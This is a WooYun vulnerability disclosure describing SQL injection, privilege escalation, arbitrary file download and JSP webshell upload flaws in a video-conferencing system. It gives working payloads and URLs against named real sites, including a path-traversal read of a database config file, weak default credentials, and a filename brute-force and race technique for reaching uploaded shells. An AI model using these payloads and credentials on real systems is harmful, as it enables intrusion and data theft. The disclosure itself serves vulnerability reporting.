当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-050975

漏洞标题:某通用型视频会议系统SQL注入、越权、文件上传及下载等多个漏洞打包

相关厂商:cncert国家互联网应急中心

漏洞作者: wefgod

提交时间:2014-02-14 18:24

修复时间:2014-05-15 18:24

公开时间:2014-05-15 18:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-14: 细节已通知厂商并且等待厂商处理中
2014-02-19: 厂商已经确认,细节仅向厂商公开
2014-02-22: 细节向第三方安全合作伙伴开放
2014-04-15: 细节向核心白帽子及相关领域专家公开
2014-04-25: 细节向普通白帽子公开
2014-05-05: 细节向实习白帽子公开
2014-05-15: 细节向公众公开

简要描述:

上一发:http://www.wooyun.org/bugs/wooyun-2014-050900
本次打包,包含有SQL注入一个、越权操作一处、任意文件下载一处、文件上传两处。篇幅略微有点长

详细说明:

首先需要有一个账号登录,任意权限的。账号比较容易获取因为可以暴力破解(用户名密码设置为简单数字和字幕就有可能可以破出来了),比如http://video.bnup.com/acenter/ 的用户
1213/1213
1225/1225
http://www.iactive.com.cn/acenter/index.action 的用户
123456/123456
任意文件下载
http://video.bnup.com/acenter/meeting!downloadDocument.action?filePath=./WEB-INF/classes/dataBase.properties

image001.png


越权
http://video.bnup.com/acenter/user.action#

image002.png


可以自由去掉、添加功能权限,可对任意用户进行操作

image004.png


漏洞证明:

SQL注入
搜索框输入1213’ and ‘%’=

image006.png


输入单引号

image007.png


' or '%'=' 显示所有用户名

image009.png


任意文件上传
http://video.bnup.com/acenter/meeting!prepareUploadDocument.action

image010.png


可以直接上传jsp文件

image012.png


默认是写在document文件夹下的,生成文件名的方法从源码中得知如下:
connect + "-" + new Date().getTime() + tail;
也就是房间号加上当前的时间。
房间号如果不做任何操作的话,默认是0,所以文件名肯定是0- 开头(中间有一杠)
我们可以在本地编译下面的java代码:

import java.util.Calendar;
import java.util.Date;
public class name
{
public static void main(String[] args)
{
System.out.println((new Date()).getTime());
}
}


在上传文件的同时执行以上代码,文件名数值的偏差一般不是很大,比如看下图:

image014.png


左边是我某一次上传时服务器生成的文件名,右边是我本地计算出来的时间,相差大约2万左右完全是可以接受的范围内,所以用burp之类的直接按一个范围内暴力破解就可以搞定了。

image015.png


任意文件上传2
http://video.bnup.com/acenter/user!editImportUser.action?IA_DEPTID=86

public String importUsers()
{
String filePath = getParameter("filePath", "uploads");
long deptId = getLongParameter("IA_DEPTID", 0L);
String realpath = ServletActionContext.getServletContext().getRealPath("/" + filePath);
List failedUserList = new ArrayList();
boolean result = false;
if (this.fileUpload != null) {
result = this.fileUpload.upload(realpath);
}
if (result)
{
realpath = realpath + File.separator + this.fileUpload.getFileFileName()[0];
this.userService.importUsers(realpath, deptId, failedUserList);
}
if (failedUserList.size() > 0) {
this.request.setAttribute("userCount", Integer.valueOf(failedUserList.size()));
this.request.getSession().setAttribute("failedUserList", failedUserList);
return "USER_IMPORT_RESULT";
}
return "SUCCESS";
}


导入用户的操作默认是把文件在不重命名的情况下写到uploads文件夹下的,但是在userService.importUsers这个方法里面还是有删除文件的操作:
File file = new File(filePath);
if ((file.isFile()) && (file.exists()))
file.delete();
方法使用 WooYun: 某通用型在线学习管理系统存在任意文件上传漏洞(另一种奇葩姿势)
这个漏洞里面的方法上传shell即可,另外网速要比较好……也看点RP(应该说真的很看RP),要不正好删除了才访问,就无效了。

修复方案:

买个cert的服务。

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-19 09:31

厂商回复:

CNVD确认并复现所述情况,与http:///bugs/wooyun-2014-一并协调软件生产厂商。

最新状态:

暂无